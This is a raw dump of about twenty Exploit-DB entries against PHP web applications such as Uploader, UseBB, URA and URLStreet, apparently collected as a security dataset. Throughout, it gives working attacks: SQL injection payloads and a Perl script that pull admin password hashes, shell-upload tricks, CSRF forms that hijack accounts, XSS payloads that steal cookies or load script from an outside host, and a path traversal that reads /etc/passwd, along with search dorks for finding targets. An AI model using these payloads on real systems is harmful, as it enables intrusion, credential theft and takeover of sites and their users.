deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2945
Description: Uploader & Downloader 3.0 - 'id_user' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-18
Author: the master

Exploit:
########################################################################
#  uploader&downloader v3  Remote SQL Injection Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/1892_uploader-30.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/administration/administre2.php?id_user=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connect_upload_fichier%20WHERE%20id_user=1
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-18]
Exploit-DB #12570
Description: Uploader 0.1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-11
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Uploader 0.1.5 Mullti Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                                                                                                                                                               
| # Script   : Powered by Uploader 0.1.5    
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti
| # Download :                                                                       
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://127.0.0.1/upload/
 
  http://127.0.0.1/upload/files/ ( File Name )
  
 2- Add Extensions CSRF Exploit :
 
 <FORM METHOD=POST ACTION="http://127.0.0.1/upload/admin/admin_extensions_add.php" ENCTYPE="multipart/form-data">
 <table width="99%" cellpadding="4" cellspacing="1" border="0" align="center">

 <tr>
		<td align="right" valign="middle"><span class="gen"><? echo($lang['Disallow_extension']); ?></span></td>
		<td align="left" valign="middle"><input type="text" size="20" maxlength="100" name="extension" value="" /></td>
 </tr>
 </table>
 <br />
<center>
<input type="submit" name="submit" value="<? echo($lang['Submit']); ?>" class="mainoption" />&nbsp;&nbsp;<input type="reset" value="<? echo($lang['Reset']); ?>" class="liteoption" />
</center>
</FORM>
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #12268
Description: Uploader 0.7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-16
Author: DigitALL

Exploit:
# Exploit Title: Uploader 0.7 Shell Upload Vulnerability

# Date: 16.04.2010

# Author: DigitALL

# Software Link: http://www.paehl.de/

# Version: 0.7

# Code :

g00gle d0rk: "File viewer for Uploader"

3xpl0it: Your Shell shell.php.jpg And Upload Site.

And Go to /view.php Your Shell Link Click And Go To Shell

Greetz To: Efe KroNicKq NoFearx38 and All 1923Turk.Com Members

[ www.digitallsecurity.org ] [ www.1923turk.com ] [
www.digit4ll.blogspot.com ] [ www.kankardes.com ] [ www.hacker-zone.org ]
Exploit-DB #10523
Description: Uploader by CeleronDude 5.3.0 - Arbitrary File Upload (1)
Type: webapps
Platform: php
Date: 2009-12-17
Author: Stink

Exploit:
#############################
Uploader by CeleronDude 5.3.0 - Upload Vulnerability
Discovered by : Stink'
Date : 2009-12-17
Dork : "Uploader by CeleronDude."
Website Publisher : http://www.celerondude.com/php-uploader-v5
#############################

-- [Upload Vulnerability] --
Rename your shell.php in shell.php.pjpeg and Upload !

Exemple for admin : http://www.site.net/ul/index.php
Exploit-DB #11166
Description: Uploader by CeleronDude 5.3.0 - Arbitrary File Upload (2)
Type: webapps
Platform: php
Date: 2010-01-17
Author: Stink'

Exploit:
#############################
Uploader by CeleronDude 5.3.0 - Upload Vulnerability
Discovered by : Stink'
Date : 2009-12-17 for upload. 2010-01-17 for Settings.db retrieve password.

Dork : "Uploader by CeleronDude."
Website Publisher : <a href="http://www.celerondude.com/php-uploader-v5">http://www.celerondude.com/php-uploader-v5</a>
#############################

-- [Upload Vulnerability] --
Rename your shell.php in shell.php.pjpeg and Upload !

-- [Retrieve Password] --

Go to : http://site.com/[path]/data/settings.db

"admin_password";s:32:"468f7b0aaba9a806a0ce5bc4d4482164"

and go http://site.com/[path]/admin.php :)
Exploit-DB #10241
Description: Uploaderr 1.0 File Hosting Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-11-28
Author: DigitALL

Exploit:
# Exploit Title: Uploaderr - File Hosting Script Shell Upload Vulnerability

# Author: DigitALL

# Vendor:  http://uploaderr.com

# Version: 1.0

# Greetz: Zombie KroNickq HackSpy and ALL 1923Turk.Biz Members

# Dork: "Instant Free File Uploader"

# Application: Please Add Files ( Your Shell ) And Upload.

# Shell : /uploads/  one back dir find .php files and go :)
Exploit-DB #11614
Description: Uploadify Sample Collection - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-02
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Uploadify Sample Collection Shell Upload Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iq-ty.com                                                                                                                                                                                                               
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                    
======================      Exploit By indoushka       =================================
# Exploit  :  

1- http://127.0.0.1/Uploadify/

2- http://127.0.0.1/Uploadify/files/Ch99.php


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #41304
Description: Uploadr - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Uploadr - Project Files Management - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://lagunaproperty.com/
# Software Buy: https://codecanyon.net/item/uploadr-project-files-management/13545125
# Demo: http://download.lagunaproperty.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?keyword=[SQL]
# http://localhost/[PATH]/download?file=[SQL]
# # # # #
Exploit-DB #51897
Description: UPS Network Management Card 4 - Path Traversal
Type: webapps
Platform: php
Date: 2024-03-16
Author: Víctor García

Exploit:
# Exploit Title: UPS Network Management Card 4 - Path Traversal
# Google Dork: inurl:nmc inurl:logon.htm
# Date: 2023-12-19
# Exploit Author: Víctor García
# Vendor Homepage: https://www.apc.com/
# Version: 4
# Tested on: Kali Linux
# CVE: N/A

# PoC:
curl -k
https://10.10.10.10/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
dhcp:x:997:997::/var/run/dhcp:/bin/false
messagebus:x:998:998::/var/lib/dbus:/bin/false
mosquitto:x:999:999::/home/mosquitto:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
Exploit-DB #41254
Description: Upworthy Clone Script 1.1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy BuzzWorthy – Upworthy Clone Script v1.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-buzzworthy-upworthy-clone-script/
# Demo: http://buzzworthy.flippydemos.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/post.php?id=[SQL]
-267+/*!50000union*/+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
# # # # #
Exploit-DB #9263
Description: URA 3.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------
URA 3.0 (cat) remote SQL injection Vulnerability
---------------------------------------------------
 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

---------info Cms----------------
Name     : Ultimate Regnow Affiliate
Email    : support@phpsugar.com
Dowloand : http://www.phpsugar.com/ura_order.html
Web      : http://www.phpsugar.com
Price    : $27 USD
---------------------------------

vulnerable code in rss.php

........
7. $cat = $_GET['cat'];
8. 
9. if(empty($cat)) {
10 .$query = "SELECT ProductID, ProductName, VendorName, LongDesc FROM ura_items WHERE CategoryID != 0 AND CategoryID != 1 AND CategoryID != 2 ORDER BY Add_Date DESC LIMIT 10";
11. }
12. else { 
13. $query = "SELECT * FROM ura_items WHERE CategoryID = $cat ORDER BY Add_Date DESC limit $no";
14. }

.....
	
example of exploitation:
http://localhost/path/rss.php?cat=0[Sql-Code]

[Sql-Code]:
+union+select+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ura_settings/*

live Demo: 
http://www.phpsugar.com/ura_demo/rss.php?cat=0+union+select+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ura_settings/*

.....

#!/usr/bin/perl -w
########################################
#[+] Author : Chip D3 Bi0s
#[+] Contact: chipdebios[alt+64]gmail.com 
########################################
print "\t\t--------------------------------------------------\n\n";
print "\t\t|                  ---|Chip D3 Bi0s|---           |\n\n";
print "\t\t---------------------------------------------------\n\n";
print "\t\t|URA 3.0 (cat) remote SQL injection Vulnerability |  \n\n";
print "\t\t---------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nEnter url of vuln site [http://wwww.example.com/path]: ";
chomp(my $target=<STDIN>);
$column_name="concat(0x215F,username,char(58),pass,0x215F)";
$table_name="ura_settings";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/rss.php?cat=0+union+select+1,".$column_name.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from/**/".$table_name."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if($answer =~ /!_(.+?)!_/i)
{
     print "\n[+] Admin Hash : $1\n\n";
     print "> Exploit done! <\n\n";

}


else{print "\n> Exploit failed! <\n";
}

#+++++++++++++++++++++++++++++++++
#[!] Produced in South America
#---------------------------------

# milw0rm.com [2009-07-27]
Exploit-DB #17937
Description: URL Shortener Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-07
Author: M.Jock3R

Exploit:
===================================================================================
url shortener script 1.0 sql injection Vulnerabilities
===================================================================================

# Exploit Title: url shortener script 1.0 sql injection Vulnerabilities
# Author: M.Jock3R
# Script Support Link: http://djpate.com/
# Download Script: http://www.phpkode.com/scripts/item/url-shortener-script/
# Category:: webapps
# Tested on: windows XP Sp2 FR
 
===================================================================================

Vuln file : show.php
 
Vuln Code : 

	if($_GET['id']){
		require("mysql.php"); 
		$id = addslashes($_GET['id']);
		$getUrl = mysql_query("select url from urls where id = $id");  
		
Exploit:
 
http://localhost/url-shortener-script/show.php?id=[Inj3ct]
 
===================================================================================
 
Greets To :
adelsbm / attiadona  / Wjunction forum
---------------------------------
I Love you Mindy
---------------------------------
Email : madrido.jocker@gmail.com
 
THANKS TO ALL ALGERIANS HACK3RS
===================================================================================
Exploit-DB #31622
Description: URLStreet 1.0 - 'seeurl.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-07
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28650/info

URLStreet is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

URLStreet 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/URLStreet/seeurl.php?language="><script>alert("CANAKKALE-GECiLMEZ")</script> http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter=none&order="><script>alert("CANAKKALE-GECiLMEZ")</script>&search=aaa http://www.example.com/URLStreet/seeurl.php?language=a&pageno=1&filter="><script>alert("CANAKKALE-GECiLMEZ")</script>&order=hit&search=aaa
Exploit-DB #43079
Description: US Zip Codes Database - 'state' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: US Zip Codes Database Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://rowindex.com/
# Software Link: https://www.codester.com/items/4898/us-zip-codes-database-php-script
# Demo: http://rowindex.com/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15980
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?action=lookup-county&state=[SQL]
# 
# 11'+/*!08888UniOn*/+/*!08888Select*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# Parameter: state (GET)
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 1 column
#     Payload: action=lookup-county&state=' UNION ALL SELECT CONCAT(0x716a717071,0x766a414e736e[PII_REDACTED]5053474f72754d764a4772697a65666a7551464b[PII_REDACTED]4d4e616c,0x[PII_REDACTED])-- hvbM
# 
# Etc..
# # # # #
Exploit-DB #35568
Description: UseBB 1.0.11 - 'admin.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47166/info

UseBB is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

UseBB 1.0.11 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?act=/../../config
Exploit-DB #30323
Description: UseBB 1.0.7 - '/install/upgrade-0-2-3.php?PHP_SELF' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-20
Author: s4mi

Exploit:
source: https://www.securityfocus.com/bid/24990/info

UseBB is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

UseBB 1.0.7 is vulnerable to these issues. 

http://www.example.com/UseBB/install/upgrade-0-2-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt>
Exploit-DB #30324
Description: UseBB 1.0.7 - '/install/upgrade-0-3.php?PHP_SELF' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-20
Author: s4mi

Exploit:
source: https://www.securityfocus.com/bid/24990/info
 
UseBB is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
UseBB 1.0.7 is vulnerable to these issues. 

http://www.example.com/UseBB/install/upgrade-0-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt>
Exploit-DB #28109
Description: Usenet 0.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-23
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18662/info

Usenet is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?group=<script src=http://www.youfucktard.com/xss.js></script>
Exploit-DB #39198
Description: User Cake - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-05-25
Author: Dolev Farhi

Exploit:
source: https://www.securityfocus.com/bid/67604/info

User Cake is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.

An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

User Cake 2.0.2 is vulnerable; prior versions may also be affected. 

<html>
<! -- CSRF Example for userCake -->
<div align="center">
<pre>

<h2><b>  		       userCake CSRF Proof of concept  			<b></h2>

<h4> Prerequisite: Make sure the user is logged in to the forum before submitting </h4>
<body>
<form
action="http://usercake.com/user_settings.php"
method="POST">
Enter <u>CSRFTest</u> user account password to continue...


 Username:   <b>CSRFTest</b>
   Password: <input type="password" name="password" size="10" required>
<input type="hidden" name="email" value="attacker@email.com" />
<input type="hidden" name="passwordc" value="HelloWorld" />
<input type="hidden" name="passwordcheck" value="HelloWorld" />
<input type="submit" name="submit" value="Submit" />



	</form>
	</body>

</div>
</html>
Exploit-DB #7338
Description: User Engine Lite ASP - 'users.mdb' Database Disclosure
Type: webapps
Platform: php
Date: 2008-12-04
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################




---------------------------- Tunisia Muslim ------------------------------


#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org



#contact  : AlpHa[AT]HACKER[DOT]BZ


###########################################################################

#script   : User Engine ASP Lite 
#download : http://www.robs-projects.com/Apps/Download/download.aspx?file=ASP_UELite



#Exploit :
http://target.com/users.mdb


#special thanks for syst3m and crimeirc staff

###########################################################################

# milw0rm.com [2008-12-04]